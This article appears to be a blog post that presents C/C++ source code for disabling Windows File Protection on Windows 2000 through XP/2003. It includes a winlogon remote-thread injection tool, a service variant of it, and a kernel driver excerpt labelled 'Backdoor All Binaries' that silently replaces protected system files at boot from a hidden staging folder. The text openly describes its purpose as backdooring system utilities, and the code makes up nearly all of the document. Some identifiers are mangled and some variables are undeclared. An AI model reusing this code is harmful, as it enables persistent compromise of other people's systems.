This is an example of working code that was used to disable the Windows File Protection feature in the NT subsystem for OSes Windows 2000 through XP/2003. It is one of multiple ways to disable SFC from triggering on a protected file from modification.
There is a more thorough and complete method which requires adding kernel module code along with modification of the boot list (and location of target payload to overwrite legitimate target) which works for all protected file modifications with 100% success rate. Even kernel (ntoskrnl.exe) modification works with this method. The core snippet of the code is located at the bottom of this article.
Such code was useful for backdooring system utilities in “non-writable” directories (such as C:/WINDOWS/).
Hijack Winlogon Execution
// DisableWFP.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#define THREAD_WAIT 1000
DWORD dwBaseAddress;
BOOL IsWinlogon(DWORD pid)
{
TCHAR processName[MAX_PATH] = _T("FILLER");
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
pid);
if (hProcess)
{
HMODULE hModule;
DWORD sizeModules;
if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
}
if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
{
// Match found.
return TRUE;
}
return FALSE;
}
FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
return NULL;
HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
if (!hLibrary)
return NULL;
FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
if (!pFunction)
return NULL;
return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}
LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}
// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
HMODULE hLoaded = LoadLibrary(lpPath);
if (!hLoaded)
{
return NULL;
}
else
{
void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
FreeLibrary(hLoaded);
return hPayloadBase + dwOffset;
}
return NULL;
}
bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
DWORD dwExitCode;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pFunction, NULL, 0,
NULL);
if (!hThread)
return false;
if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
return false;
if (!GetExitCodeThread(hThread, &dwExitCode))
return false;
CloseHandle(hThread);
dwBaseAddress = dwExitCode;
return dwExitCode != 0; // Internal DLL function must return 0 for failure on this logic.
}
int _tmain(int argc, _TCHAR* argv[])
{
DWORD processList[1024], numBytes;
DWORD winlogonPID;
int ordinal = 2;
FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal); // int SfcTerminateWatcherThread()
if (!pEntry)
{
MessageBox(0,
_T("Unable to disable WFP"),
_T("WFP Error"),
MB_OK);
return 1;
}
LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
if (!EnumProcesses(processList, sizeof(processList), &numBytes))
goto ___WFPMiscErr;
for (int i = 0; processList[i]; i++)
if (IsWinlogon(processList[i]))
winlogonPID = processList[i];
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
if (!hProcess)
goto ___WFPMiscErr;
if (!CallRemoteFunction(hProcess, pFunction))
{
___WFPMiscErr:
MessageBox(0,
_T("WFP Random Error"),
_T("WFP Error"),
MB_OK);
return 4;
}
MessageBox(0,
_T("WFP successfully disabled"),
_T("WFP Success"),
MB_OK);
CloseHandle(hProcess);
return 0;
}
Service-based Bypass
// InjectionSvc.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
DWORD dwBaseAddress;
BOOL IsWinlogon(DWORD pid)
{
TCHAR processName[MAX_PATH] = _T("FILLER");
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
pid);
if (hProcess)
{
HMODULE hModule;
DWORD sizeModules;
if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
}
if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
{
// Match found.
return TRUE;
}
return FALSE;
}
FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
return NULL;
HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
if (!hLibrary)
return NULL;
dwBaseAddress = (DWORD) hLibrary;
FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
if (!pFunction)
return NULL;
return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}
LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}
// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
HMODULE hLoaded = LoadLibrary(lpPath);
if (!hLoaded)
{
return NULL;
}
else
{
void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
FreeLibrary(hLoaded);
return hPayloadBase + dwOffset;
}
return NULL;
}
bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
DWORD dwExitCode;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pFunction, NULL, 0,
NULL);
if (!hThread)
return false;
if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
return false;
if (!GetExitCodeThread(hThread, &dwExitCode))
return false;
CloseHandle(hThread);
dwBaseAddress = dwExitCode;
// This is for debugging.
DWORD gle = 0;
if (!dwExitCode)
gle = GetLastError(); // Keeps returning 299 (ERROR_PARTIAL_COPY).
return dwExitCode != 0; // Internal DLL function must return 0 for failure on this logic.
}
SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE;
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);
#define SERVICE_NAME _T("Disable WFP For System Utility Modification in Field")
VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
switch (ctrlCode)
{
case SERVICE_CONTROL_STOP:
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
// Perform tasks to stop service.
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 4;
if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
OutputDebugString(_T("Injection Service: ServiceCtrlHandler: SetServiceStatus returned error"));
// Signal worker thread to start shutting down.
SetEvent(g_ServiceStopEvent);
break;
default:
break;
}
}
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
// Periodically check if service has been requested to stop.
while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
{
// Perform main service function below.
DWORD processList[1024] = {0};
DWORD numBytes = 0;
DWORD winlogonPID = 0;
int ordinal = 2;
FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal); // int SfcTerminateWatcherThread()
if (!pEntry)
{
//MessageBox(0,
// _T("Unable to disable WFP"),
// _T("WFP Error"),
// MB_OK);
OutputDebugString(_T("Unable to disable WFP"));
return 1;
}
LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
if (!EnumProcesses(processList, sizeof(processList), &numBytes))
goto ___WFPMiscErr;
for (int i = 1; processList[i]; i++)
if (IsWinlogon(processList[i]))
winlogonPID = processList[i];
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
if (!hProcess)
goto ___WFPMiscErr;
if (!CallRemoteFunction(hProcess, pFunction))
{
___WFPMiscErr:
//MessageBox(0,
// _T("WFP Random Error"),
// _T("WFP Error"),
// MB_OK);
OutputDebugString(_T("WFP Random Error"));
return 4;
}
//MessageBox(0,
// _T("WFP successfully disabled"),
// _T("WFP Success"),
// MB_OK);
OutputDebugString(_T("WFP successfully disabled"));
CloseHandle(hProcess);
return ERROR_SUCCESS;
}
}
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
DWORD Status = E_FAIL;
while (!IsDebuggerPresent())
;
// Register service control handler with SCM.
g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
if (!g_StatusHandle)
goto ___exit;
// Tell the service controller we are starting.
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
OutputDebugString(_T("Injection Service: ServiceMain: SetServiceStatus returned error"));
// Create a service stop event to wait on.
g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!g_ServiceStopEvent)
{
// Error creating event.
// Tell service controller we stopped and exit.
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
g_ServiceStatus.dwCheckPoint = 1;
if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
OutputDebugString(_T("Injection Service: ServiceMain: SetServiceStatus unable to create event"));
goto ___exit;
}
// Tell service controller we are started.
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
OutputDebugString(_T("Injection Service: ServiceMain: SetServiceStatus unable to inform service controller of start"));
// Start thread to perform main task.
HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
// Wait until our worker thread exits, signaliing that service needs stopping.
WaitForSingleObject(hThread, INFINITE);
// Cleanup.
CloseHandle(g_ServiceStopEvent);
// Tell service controller we are stopped.
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 3;
if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
OutputDebugString(_T("Injection Service: ServiceMain: SetServiceStatus unable to inform service controller of stop"));
___exit:
return;
}
int _tmain(int argc, _TCHAR* argv[])
{
SERVICE_TABLE_ENTRY ServiceTable[] = {
{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
if (!StartServiceCtrlDispatcher(ServiceTable))
return GetLastError();
return 0;
}
Header file
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Psapi.h>
// TODO: reference additional headers your program requires here
#pragma comment(lib, "psapi.lib")
Kernel-mode Driver to Backdoor All Binaries
// Purpose:
// Let the agent know we successfully updated.
// "Touch" the file "patch.scc" with the "next_version" number.
// Our agent will copy contents of "patch.scc" to "patch.ver" and
// delete "patch.scc" after.
NTSTATUS UpdateSystemPatchVersion(DWORD next_version)
{
UNICODE_STRING patch_version_file_name = { 0 };
OBJECT_ATTRIBUTES patch_version_file_attr = { 0 };
FILE_STANDARD_INFORMATION patch_version_standard_information = { 0 };
HANDLE patch_version_handle = 0;
LARGE_INTEGER max_patch_scc_size = { 0 };
#define MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE 10 // Max of (ANSI) 0xFFFFFF patches supported by this driver.
max_patch_scc_size.QuadPart = MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE;
RtlInitUnicodeString(&patch_version_file_name, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\patch.scc");
InitializeObjectAttributes(&patch_version_file_attr,
&patch_version_file_name,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
nt_status = ZwCreateFile(&patch_version_handle,
GENERIC_WRITE,
&patch_version_file_attr,
&io_status_block,
NULL, //&max_patch_scc_size,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_SUPERSEDE,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
// Scumbag nt headers didn't define STATUS_FILE_NOT_AVAILABLE?
#ifndef STATUS_FILE_NOT_AVAILABLE
#define STATUS_FILE_NOT_AVAILABLE 0xC0000467
#endif
if (!NT_SUCCESS(nt_status))
{
// There was a problem opening "patch.scc".
return STATUS_FILE_NOT_AVAILABLE;
}
// Must bitshift to find length of ANSI string representing dword.
size_t size_of_patch_version_file;
CHAR patch_version_file_buffer[MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1] = { 0 };
const CHAR number_format[] = "%u\r\n";
//_itoa(next_version, (PCHAR) patch_version_file_buffer, 16);
nt_status = RtlStringCbPrintfA(patch_version_file_buffer,
MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE,
number_format,
next_version);
if (!NT_SUCCESS(nt_status))
{
ZwClose(patch_version_handle);
return STATUS_BUFFER_OVERFLOW; // Not necessarily true, we just need a reason.
}
// Get string length.
nt_status = RtlStringCbLengthA(patch_version_file_buffer,
MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1,
&size_of_patch_version_file);
if (!NT_SUCCESS(nt_status))
{
ZwClose(patch_version_handle);
return STATUS_INFO_LENGTH_MISMATCH;
}
byte_offset.LowPart = byte_offset.HighPart = 0;
nt_status = ZwWriteFile(patch_version_handle,
NULL,
NULL,
NULL,
&io_status_block,
patch_version_file_buffer,
size_of_patch_version_file,
&byte_offset,
NULL);
if (!NT_SUCCESS(nt_status))
{
// We are unable to read the file.
ZwClose(patch_version_handle);
return nt_status;
}
ZwClose(patch_version_handle);
return STATUS_SUCCESS;
}
// Purpose:
// Parse the file "C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt" with format:
// <SOURCE>
// <TARGET>
// ...
//
// It will replace <TARGET> with <SOURCE> at boot up if both <TARGET> and <SOURCE> exist.
NTSTATUS ParseInformationFile(DWORD next_version)
{
// Variables for handling the information file.
windows_file_t backdoor_info = { 0 };
// Variables for handling the TARGET file. (see below)
// Variables for handling the SOURCE file. (see below)
//RtlInitUnicodeString(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt");
// Initialize strings.
if (!NT_SUCCESS(RtlUnicodeStringInit(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt")))
{
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to initialize information string\n");
#endif
return STATUS_UNEXPECTED_IO_ERROR;
}
// Initialize file object attributes for information file (because we always know path).
InitializeObjectAttributes(&backdoor_info.object_attributes,
&backdoor_info.path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
nt_status = ZwCreateFile(&backdoor_info.handle,
GENERIC_READ,
&backdoor_info.object_attributes,
&io_status_block,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(nt_status))
{
// Could not open information file for reading.
// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to open information file.\n");
#endif
return STATUS_UNEXPECTED_IO_ERROR;
}
// Allocate memory to hold contents. (PagedPool)
nt_status = ZwQueryInformationFile(backdoor_info.handle,
&io_status_block,
&backdoor_info.file_standard_information,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation);
if (!NT_SUCCESS(nt_status))
{
// Unable to query file information.
ZwClose(backdoor_info.handle);
return STATUS_DATA_ERROR;
}
backdoor_info.file_size = (SIZE_T) backdoor_info.file_standard_information.EndOfFile.LowPart;
backdoor_info.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
backdoor_info.file_size + 1,
'gaT1');
if (!backdoor_info.buffer)
{
// There is not enough memory in the system to replace the file.
ZwClose(backdoor_info.handle);
return STATUS_DATA_ERROR;
}
byte_offset.LowPart = byte_offset.HighPart = 0;
nt_status = ZwReadFile(backdoor_info.handle,
NULL,
NULL,
NULL,
&io_status_block,
backdoor_info.buffer,
backdoor_info.file_size,
&byte_offset,
NULL);
backdoor_info.buffer[backdoor_info.file_size] = NULL; // Ensure end of string.
if (!NT_SUCCESS(nt_status))
{
// Do not log an error. If there is no information file,
// assume there is nothing to update.
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] No information file\n");
#endif
ZwClose(backdoor_info.handle);
ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
return STATUS_SUCCESS;
}
#ifdef _DEBUG
DbgPrint(("[MICROSOFT_DRIVER] %s\n", backdoor_info.buffer)); // Print contents of text file to debug console.
#endif
#ifndef MAX_PATH
#define MAX_PATH 255
#endif
#ifndef MAX_PATH_PLUS_NULL
#define MAX_PATH_PLUS_NULL MAX_PATH * sizeof(CHAR) + 1 * sizeof(CHAR)
#endif
// No longer needed.
ZwClose(backdoor_info.handle);
/*int information_file_descriptor = _open_osfhandle((intptr_t) backdoor_info.handle, _A_RDONLY);
if (information_file_descriptor == -1) // ERROR_INVALID_HANDLE
{
// Error locating the file descriptor for handle.
}
FILE* information_file_file_pointer = _fdopen(information_file_descriptor, "r"); // "rb"?
if (!information_file_file_pointer)
{
// Error achieving a standard C file pointer from Windows HANDLE.
}*/
// Now we can use fgets() to read each line.
// "backdoor_info.buffer" holds all file contents.
// "backdoor_info.file_size" holds the number of bytes in the file.
CHAR current_source_file_path[MAX_PATH_PLUS_NULL] = { 0 };
CHAR current_target_file_path[MAX_PATH_PLUS_NULL] = { 0 };
fgetws_t fget;
fget.buffer = (WCHAR*) backdoor_info.buffer; // Dangerous, but works.r
fget.position = 0;
fget.stream = backdoor_info.handle; // Unused.
// Just because "backdoor_info.buffer" is (CHAR* ) doesn't mean it actually is.
// Our file is stored as UNICODE in text, so each character will be followed by a NULL (0x0) space.
WCHAR* back = (WCHAR* ) backdoor_info.buffer;
// Check to see if "backdoor_info.file_size" is 0 or negative.
if (backdoor_info.file_size <= 0)
{
// There were no bytes in INFO.txt.
return STATUS_DATA_ERROR;
}
// Parse the read buffer.
SIZE_T current_source_file_path_len = 0; // We need to have something to read the actual line into something like "current_source_file_path".
SIZE_T current_target_file_path_len = 0;
const CHAR newline_char[] = "\r\n";
windows_file_t current_target = { 0 };
windows_file_t current_source = { 0 };
UNICODE_STRING unicode_source_file_path = { 0 };
ANSI_STRING ansi_source_file_path = { 0 };
// bytes_read is updated after each line is read.
INT32 bytes_read;
INT32 char_index_in_line;
bool is_source;
for (bytes_read = 0, char_index_in_line = 0, is_source = true; bytes_read < backdoor_info.file_size; )
{
// We're reading a UNICODE file.
// Do not copy the L'\n' character to the string.
//if (RtlEqualMemory(&newline_char, (CHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line), sizeof(newline_char)))
// Check for next character being NULL. It indicates we are at the end of the file.
if (bytes_read + char_index_in_line == backdoor_info.file_size)
{
// We are done reading the file.
// If we are in "source" reading turn,
// we fail gracefully.
if (is_source)
{
// Deallocation.
// Fail gracefully.
return STATUS_SUCCESS;
}
// This means we are done with the information file.
// Perform the final write of protected files here.
goto ___PerformReplace;
}
#define STRLEN_NEWLINE 2
// First boolean ensures against overflow.
// Second boolean checks for Windows newline (0xD 0xA)
else if ((bytes_read + char_index_in_line + STRLEN_NEWLINE <= backdoor_info.file_size) &&
(newline_char[0] == backdoor_info.buffer[bytes_read + char_index_in_line] && newline_char[1] == backdoor_info.buffer[bytes_read + char_index_in_line + 1]))
{
// New line in Windows is 0x0D 0x0A.
*((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line) = *((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line + 1) = NULL; // Chomp the new line.
// We found a newline character.
if (is_source)
{
// Source file.
RtlInitAnsiString(&ansi_source_file_path, backdoor_info.buffer + bytes_read);
if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_source_file_path, &ansi_source_file_path, TRUE)))
{
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
}
// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
// "ansi_source_file_path".
bytes_read++; // We don't want to start on the second NULL byte, we must start at next line.
bytes_read++; // We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
is_source = false; // Next line, if any, will be target.
if (!NT_SUCCESS(RtlUnicodeStringInit(¤t_source.path, unicode_source_file_path.Buffer)))
{
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to initialize source string\n");
#endif
return STATUS_UNEXPECTED_IO_ERROR;
}
// Do everything with opening and reading the source file if only the target file exists.
// We have nothing left to do here.
}
else
{
___PerformReplace:
UNICODE_STRING unicode_target_file_path;
ANSI_STRING ansi_target_file_path;
RtlInitAnsiString(&ansi_target_file_path, backdoor_info.buffer + bytes_read);
if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_target_file_path, &ansi_target_file_path, TRUE)))
{
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
}
is_source = false; // Next line, if any, will be target.
//if (!NT_SUCCESS(RtlUnicodeStringInit(¤t_target.path, current_target_file_path)))
if (!NT_SUCCESS(RtlUnicodeStringInit(¤t_target.path, unicode_target_file_path.Buffer)))
{
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to initialize target string\n");
#endif
return STATUS_UNEXPECTED_IO_ERROR;
}
// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
// "ansi_source_file_path".
bytes_read++; // We don't want to start on the second NULL byte, we must start at next line.
bytes_read++; // We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
is_source = true; // Next line, if any, will be source.
// Open and read the source file.
// Copy unicode_source_file_path contents into unicode_target_file_path file.
// We have a matching source with target.
// Time to open and read the source.
// Initialize file object attributes for information file (because we always know path).
InitializeObjectAttributes(&(current_source.object_attributes),
¤t_source.path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
InitializeObjectAttributes(&(current_target.object_attributes),
¤t_target.path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
// OPEN THE FILE!!!
nt_status = ZwCreateFile(¤t_source.handle,
GENERIC_READ,
¤t_source.object_attributes,
&io_status_block,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(nt_status))
{
// Could not open information file for reading.
// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to open source file.\n");
#endif
return STATUS_UNEXPECTED_IO_ERROR;
}
nt_status = ZwCreateFile(¤t_target.handle,
GENERIC_READ | GENERIC_WRITE,
¤t_target.object_attributes,
&io_status_block,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_SUPERSEDE,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(nt_status))
{
// Could not open information file for reading.
// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to open target file.\n");
#endif
ZwClose(current_source.handle);
return STATUS_UNEXPECTED_IO_ERROR;
}
// Now handles to both SOURCE and TARGET are created.
// Time to read from SOURCE.
// Allocate memory to hold contents. (PagedPool)
nt_status = ZwQueryInformationFile(current_source.handle,
&io_status_block,
¤t_source.file_standard_information,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation);
if (!NT_SUCCESS(nt_status))
{
// Unable to query file information.
ZwClose(current_source.handle);
ZwClose(current_target.handle);
return STATUS_DATA_ERROR;
}
current_source.file_size = (SIZE_T) current_source.file_standard_information.EndOfFile.LowPart;
current_source.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
current_source.file_size + 1,
'gaT1');
if (!current_source.buffer)
{
// There is not enough memory in the system to replace the file.
ZwClose(current_source.handle);
ZwClose(current_target.handle);
return STATUS_DATA_ERROR;
}
// We must FREE current_source.buffer from now on during errors.
byte_offset.LowPart = byte_offset.HighPart = 0;
nt_status = ZwReadFile(current_source.handle,
NULL,
NULL,
NULL,
&io_status_block,
current_source.buffer,
current_source.file_size,
&byte_offset,
NULL);
// No need to leave NULL because we know file_size.
if (!NT_SUCCESS(nt_status))
{
// Do not log an error. If there is no information file,
// assume there is nothing to update.
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER_DEBUG] No information file\n");
#endif
ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
ZwClose(current_source.handle);
ZwClose(current_target.handle);
return STATUS_SUCCESS;
}
byte_offset.LowPart = byte_offset.HighPart = 0;
nt_status = ZwWriteFile(current_target.handle,
NULL,
NULL,
NULL,
&io_status_block,
current_source.buffer,
current_source.file_size,
&byte_offset,
NULL);
if (NT_SUCCESS(nt_status))
{
// We successfully replaced the file.
// Let the usermode know somehow.
// Print with UNICODE, http://www.winvistatips.com/can-dbgprint-unicode_string-t186503.html
#ifdef _DEBUG
DbgPrint("We successfully replaced %wZ\n", current_target.path);
#endif
}
else
{
// We did not successfully replace the file.
// Let the usermode know somehow.
#ifdef _DEBUG
DbgPrint("Unable to successfully replace %wZ\n", current_target.path);
#endif
}
// Cleanup for each loop.
is_source = true;
ZwClose(current_target.handle);
ZwClose(current_source.handle);
//ExFreePoolWithTag(current_target.buffer, 'gaT1');
ExFreePoolWithTag(current_source.buffer, 'gaT1');
}
bytes_read += char_index_in_line;
char_index_in_line = 0; // If a new line exists, we must start at beginning.
// Reset the "current_target_file_path" and "current_source_file_path".
RtlZeroMemory(current_target_file_path, sizeof(current_target_file_path));
RtlZeroMemory(current_source_file_path, sizeof(current_source_file_path));
// We continue to skip the processing directly below us, as we
// don't wish to copy the NULL or Windows newline to buffer.
continue;
}
// If the character wasn't EOF (backdoor_info.file_size) or a Windows newline (/r/n), we end up here, to copy to buffers.
if (bytes_read + char_index_in_line < backdoor_info.file_size)
{
if (is_source)
{
//if (!NT_SUCCESS(RtlMultiByteToUnicode
current_source_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
/*if (!NT_SUCCESS(RtlStringCbCopyW(current_source_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
{
// Unable to copy UNICODE character.
DbgPrint("[MICROSOFT_DRIVER] Unable to copy source wchar_t\n");
}*/
}
else
{
current_target_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
/*if (!NT_SUCCESS(RtlStringCbCopyW(current_target_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
{
// Unable to copy UNICODE character.
DbgPrint("[MICROSOFT_DRIVER] Unable to copy target wchar_t\n");
}*/
}
char_index_in_line++; // We have to inc the counter here because we'll be off-by-one otherwise due to the combined strings
// in the file during parsing.
}
}
// We need to write the new version to the "patch.scc" file.
//
nt_status = UpdateSystemPatchVersion(next_version);
if (!NT_SUCCESS(nt_status))
{
// Unable to write "patch.scc".
#ifdef _DEBUG
DbgPrint("[MICROSOFT_DRIVER] Unable to write success file\n");
#endif
return STATUS_FILE_INVALID;
}
return STATUS_SUCCESS;
}